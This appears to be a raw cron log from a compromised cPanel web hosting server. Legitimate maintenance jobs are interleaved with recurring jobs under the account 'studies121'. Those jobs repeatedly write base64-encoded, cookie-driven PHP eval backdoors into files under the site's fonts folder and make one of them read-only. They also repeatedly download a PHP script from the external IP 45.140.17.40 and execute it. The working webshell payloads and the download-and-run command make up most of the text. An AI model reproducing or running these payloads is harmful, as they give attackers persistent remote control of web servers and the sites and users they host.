Sep  6 18:07:01 ip-184-168-122-23 CROND[9040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:07:01 ip-184-168-122-23 CROND[9041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:07:01 ip-184-168-122-23 CROND[9044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:07:01 ip-184-168-122-23 CROND[9043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:08:01 ip-184-168-122-23 CROND[9134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:08:01 ip-184-168-122-23 CROND[9136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:08:01 ip-184-168-122-23 CROND[9137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:08:01 ip-184-168-122-23 CROND[9138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:08:01 ip-184-168-122-23 CROND[9139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:09:02 ip-184-168-122-23 CROND[9236]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 18:09:02 ip-184-168-122-23 CROND[9239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:09:02 ip-184-168-122-23 CROND[9240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:09:02 ip-184-168-122-23 CROND[9241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:09:02 ip-184-168-122-23 CROND[9238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:10:01 ip-184-168-122-23 CROND[9332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:10:01 ip-184-168-122-23 CROND[9331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:10:01 ip-184-168-122-23 CROND[9336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:10:01 ip-184-168-122-23 CROND[9341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:10:01 ip-184-168-122-23 CROND[9338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:10:01 ip-184-168-122-23 CROND[9343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:10:01 ip-184-168-122-23 CROND[9339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:10:01 ip-184-168-122-23 CROND[9344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:11:01 ip-184-168-122-23 CROND[9524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:11:01 ip-184-168-122-23 CROND[9525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:11:01 ip-184-168-122-23 CROND[9526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:11:01 ip-184-168-122-23 CROND[9527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:12:01 ip-184-168-122-23 CROND[9618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:12:01 ip-184-168-122-23 CROND[9622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:12:01 ip-184-168-122-23 CROND[9619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:12:01 ip-184-168-122-23 CROND[9621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:12:01 ip-184-168-122-23 CROND[9623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:13:01 ip-184-168-122-23 CROND[9740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:13:01 ip-184-168-122-23 CROND[9743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:13:01 ip-184-168-122-23 CROND[9742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:13:01 ip-184-168-122-23 CROND[9741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:14:01 ip-184-168-122-23 CROND[9819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:14:01 ip-184-168-122-23 CROND[9817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:14:01 ip-184-168-122-23 CROND[9820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:14:01 ip-184-168-122-23 CROND[9818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:14:01 ip-184-168-122-23 CROND[9821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:15:02 ip-184-168-122-23 CROND[9917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:15:02 ip-184-168-122-23 CROND[9920]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 18:15:02 ip-184-168-122-23 CROND[9922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:15:02 ip-184-168-122-23 CROND[9923]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 18:15:02 ip-184-168-122-23 CROND[9924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:15:02 ip-184-168-122-23 CROND[9921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:15:02 ip-184-168-122-23 CROND[9926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:15:02 ip-184-168-122-23 CROND[9925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:16:01 ip-184-168-122-23 CROND[10120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:16:01 ip-184-168-122-23 CROND[10122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:16:01 ip-184-168-122-23 CROND[10124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:16:01 ip-184-168-122-23 CROND[10125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:16:01 ip-184-168-122-23 CROND[10126]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:16:01 ip-184-168-122-23 CROND[10127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:17:01 ip-184-168-122-23 CROND[10215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:17:01 ip-184-168-122-23 CROND[10217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:17:01 ip-184-168-122-23 CROND[10218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:17:01 ip-184-168-122-23 CROND[10216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:18:01 ip-184-168-122-23 CROND[10297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:18:01 ip-184-168-122-23 CROND[10301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:18:01 ip-184-168-122-23 CROND[10302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:18:01 ip-184-168-122-23 CROND[10299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:18:01 ip-184-168-122-23 CROND[10300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
